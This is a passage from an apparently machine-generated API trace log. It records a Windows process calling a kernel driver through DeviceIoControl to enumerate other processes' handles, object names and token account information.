KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.864] PsReleaseProcessExitSynchronization () returned 0x2 [0104.864] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.864] ObQueryNameString (in: Object=0xfffffa800193d340, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.864] ObfDereferenceObject (Object=0xfffffa800193d340) returned 0x3 [0104.864] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.864] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.864] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.864] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x38, lpOverlapped=0x0) returned 1 [0104.864] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.864] PsAcquireProcessExitSynchronization () returned 0x0 [0104.864] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.864] ObReferenceObjectByHandle (in: Handle=0x408, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80019c4430, HandleInformation=0x0) returned 0x0 [0104.864] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.864] PsReleaseProcessExitSynchronization () returned 0x2 [0104.864] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.864] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.865] ObfDereferenceObject (Object=0xfffffa80019c4430) returned 0x1 [0104.865] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.865] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.865] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xd0, lpOverlapped=0x0) returned 1 [0104.865] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.865] PsAcquireProcessExitSynchronization () returned 0x0 [0104.865] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.865] ObReferenceObjectByHandle (in: Handle=0x420, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a2bb60, HandleInformation=0x0) returned 0x0 [0104.865] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.865] PsReleaseProcessExitSynchronization () returned 0x2 [0104.865] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.865] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.865] ObfDereferenceObject (Object=0xfffffa8001a2bb60) returned 0x12 [0104.865] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.865] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.865] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xee, lpOverlapped=0x0) returned 1 [0104.865] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.865] PsAcquireProcessExitSynchronization () returned 0x0 [0104.865] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.865] ObReferenceObjectByHandle (in: Handle=0x460, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a2b850, HandleInformation=0x0) returned 0x0 [0104.865] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.865] PsReleaseProcessExitSynchronization () returned 0x2 [0104.865] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.865] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.865] ObfDereferenceObject (Object=0xfffffa8001a2b850) returned 0x1 [0104.865] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.865] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.865] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.865] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0xbc, lpOverlapped=0x0) returned 1 [0104.866] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.866] PsAcquireProcessExitSynchronization () returned 0x0 [0104.866] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.866] ObReferenceObjectByHandle (in: Handle=0x480, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001a312b0, HandleInformation=0x0) returned 0x0 [0104.866] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.866] PsReleaseProcessExitSynchronization () returned 0x2 [0104.866] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.866] ObQueryNameString (in: Object=0xfffffa8001a312b0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.866] ObfDereferenceObject (Object=0xfffffa8001a312b0) returned 0x3 [0104.866] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.866] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.866] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x50, lpOverlapped=0x0) returned 1 [0104.866] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.866] PsAcquireProcessExitSynchronization () returned 0x0 [0104.866] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.866] ObReferenceObjectByHandle (in: Handle=0x4b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001cb7240, HandleInformation=0x0) returned 0x0 [0104.866] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.866] PsReleaseProcessExitSynchronization () returned 0x2 [0104.866] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.866] ObQueryNameString (in: Object=0xfffff8a001cb7240, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.866] ObfDereferenceObject (Object=0xfffff8a001cb7240) returned 0x2 [0104.866] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.866] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.866] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.866] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0104.866] PsLookupProcessByProcessId (in: ProcessId=0x738, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.866] PsAcquireProcessExitSynchronization () returned 0x0 [0104.866] KeStackAttachProcess (in: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8003c04ab0, ApcState=0xfffff88004f095d0) [0104.866] ObReferenceObjectByHandle (in: Handle=0x508, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0104.866] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.867] PsReleaseProcessExitSynchronization () returned 0x2 [0104.867] ObfDereferenceObject (Object=0xfffffa8003c04ab0) returned 0xad [0104.867] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.867] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0104.867] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.867] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.867] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x770) returned 0xc0 [0104.867] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.867] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001ee8b30, HandleInformation=0x0) returned 0x0 [0104.867] ObOpenObjectByPointer (in: Object=0xfffffa8001ee8b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.867] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x12 [0104.867] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.867] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.867] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.867] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.867] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.868] CloseHandle (hObject=0xc8) returned 1 [0104.868] CloseHandle (hObject=0xc0) returned 1 [0104.868] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.868] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.869] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.869] PsAcquireProcessExitSynchronization () returned 0x0 [0104.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff88004f095d0) [0104.869] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f8e070, HandleInformation=0x0) returned 0x0 [0104.869] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.869] PsReleaseProcessExitSynchronization () returned 0x2 [0104.869] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0104.869] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.869] ObfDereferenceObject (Object=0xfffffa8001f8e070) returned 0x1 [0104.869] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.869] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.869] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x94, lpOverlapped=0x0) returned 1 [0104.869] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.869] PsAcquireProcessExitSynchronization () returned 0x0 [0104.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff88004f095d0) [0104.869] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001ee8420, HandleInformation=0x0) returned 0x0 [0104.869] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.869] PsReleaseProcessExitSynchronization () returned 0x2 [0104.869] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0104.869] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800264e044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa800264e044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.869] ObfDereferenceObject (Object=0xfffffa8001ee8420) returned 0x1 [0104.869] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.869] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.869] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.869] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.869] PsLookupProcessByProcessId (in: ProcessId=0x770, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.869] PsAcquireProcessExitSynchronization () returned 0x0 [0104.869] KeStackAttachProcess (in: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001ee8b30, ApcState=0xfffff88004f095d0) [0104.869] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.869] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.870] PsReleaseProcessExitSynchronization () returned 0x2 [0104.870] ObfDereferenceObject (Object=0xfffffa8001ee8b30) returned 0x10 [0104.870] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80037a6044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80037a6044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.870] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.870] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.870] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.870] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x408) returned 0xc0 [0104.870] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.870] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09668, HandleInformation=0x0 | out: Object=0xfffff88004f09668*=0xfffffa8001f9e530, HandleInformation=0x0) returned 0x0 [0104.870] ObOpenObjectByPointer (in: Object=0xfffffa8001f9e530, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004f09670 | out: Handle=0xfffff88004f09670*=0xffffffff800009a4) returned 0x0 [0104.870] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x12 [0104.870] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800009a4, DesiredAccess=0x8, TokenHandle=0xfffffa80028c1380 | out: TokenHandle=0xfffffa80028c1380*=0xc8) returned 0x0 [0104.870] ZwClose (Handle=0xffffffff800009a4) returned 0x0 [0104.870] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.870] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0104.870] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0104.871] CloseHandle (hObject=0xc8) returned 1 [0104.871] CloseHandle (hObject=0xc0) returned 1 [0104.871] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.871] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0104.871] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.871] PsAcquireProcessExitSynchronization () returned 0x0 [0104.871] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff88004f095d0) [0104.872] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f9ed10, HandleInformation=0x0) returned 0x0 [0104.872] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.872] PsReleaseProcessExitSynchronization () returned 0x2 [0104.872] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0104.872] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80025fe044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa80025fe044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.872] ObfDereferenceObject (Object=0xfffffa8001f9ed10) returned 0x1 [0104.872] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.872] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.872] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.872] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8a, lpOverlapped=0x0) returned 1 [0104.872] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.872] PsAcquireProcessExitSynchronization () returned 0x0 [0104.872] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff88004f095d0) [0104.872] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001fa0a20, HandleInformation=0x0) returned 0x0 [0104.872] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.872] PsReleaseProcessExitSynchronization () returned 0x2 [0104.872] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0104.872] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fa5044, Length=0x800, ReturnLength=0xfffff88004f09508 | out: ObjectNameInfo=0xfffffa8001fa5044, ReturnLength=0xfffff88004f09508) returned 0x0 [0104.872] ObfDereferenceObject (Object=0xfffffa8001fa0a20) returned 0x1 [0104.872] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.872] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.872] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1c0b20 [0104.872] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1c0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1c0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0104.872] PsLookupProcessByProcessId (in: ProcessId=0x408, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0104.872] PsAcquireProcessExitSynchronization () returned 0x0 [0104.872] KeStackAttachProcess (in: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa8001f9e530, ApcState=0xfffff88004f095d0) [0104.872] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0104.872] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0104.872] PsReleaseProcessExitSynchronization () returned 0x2 [0104.872] ObfDereferenceObject (Object=0xfffffa8001f9e530) returned 0x10 [0104.872] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002813044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002813044, ReturnLength=0xfffff88004f09550) returned 0x0 [0104.872] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4e [0104.873] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0104.873] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1c0b20 | out: hHeap=0x180000) returned 1 [0104.873] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x664) returned 0xc0 [0104.873] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0104.873] ObReferenceObjectByHandle (in: 